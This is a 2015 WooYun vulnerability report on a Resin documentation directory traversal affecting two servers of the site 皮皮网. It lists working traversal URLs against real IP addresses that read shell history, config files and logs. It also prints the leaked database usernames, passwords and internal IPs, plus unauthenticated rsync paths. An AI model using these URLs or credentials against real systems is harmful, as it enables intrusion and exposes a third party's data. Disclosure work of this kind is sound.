当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094252

漏洞标题：皮皮网两台服务器目录遍历(泄漏较多敏感信息)

相关厂商：皮皮网

漏洞作者： lijiejie

提交时间：2015-01-27 23:06

修复时间：2015-02-01 23:08

公开时间：2015-02-01 23:08

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：12

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-27： 细节已通知厂商并且等待厂商处理中
2015-02-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

皮皮网两台服务器目录遍历，泄漏较多敏感信息

详细说明：

resin-doc的目录遍历漏洞：

http://112.91.31.42:8080/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/data/webservice/.bash_history
http://112.91.31.74:8080/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/webservice/.bash_history


得到内网IP 10.0.1.74

http://112.91.31.42:8080/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/webservice/webdoc/pipi.cn/gwptest/WEB-INF/classes/dbConfig.properties
ip=10.0.1.108
dataBaseName=gamepipi
userName=pipigameadmin
password=pipigame&*(db
http://112.91.31.42:8080/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/webservice/webdoc/pipi.cn/gwptest/WEB-INF/classes/dbConfigA.properties
ip=121.10.139.108
port=3396
dataBaseName=gamepipi
userName=pipigameadmin
password=pipigame&*(db


测试发现MySQL无法远程访问。 读取主机名：

http://112.91.31.42:8080/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/webservice/server/apache2/conf/extra/httpd-vhosts.conf
http://gameadmin.pipi.cn/
http://gameuser.pipi.cn/


74主机上的数据库配置：

http://112.91.31.74:8080/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/webservice/webdoc/pipi.cn/game/admin//WEB-INF/classes/dbConfig.properties
ip=192.168.0.107
dataBaseName=ppgplatform
userName=pipigameadmin
password=pipigame&*(db


rsync未授权访问，只有电影，影响不大：

121.10.139.87::pipi_movies_data2/
121.10.139.88::pipi_movies_data2/


log泄漏敏感信息：

http://112.91.31.74:8080/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/webservice/server/resin/log/stdout.log

漏洞证明：

修复方案：

删除resin-doc

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-02-01 23:08

厂商回复：

最新状态：

暂无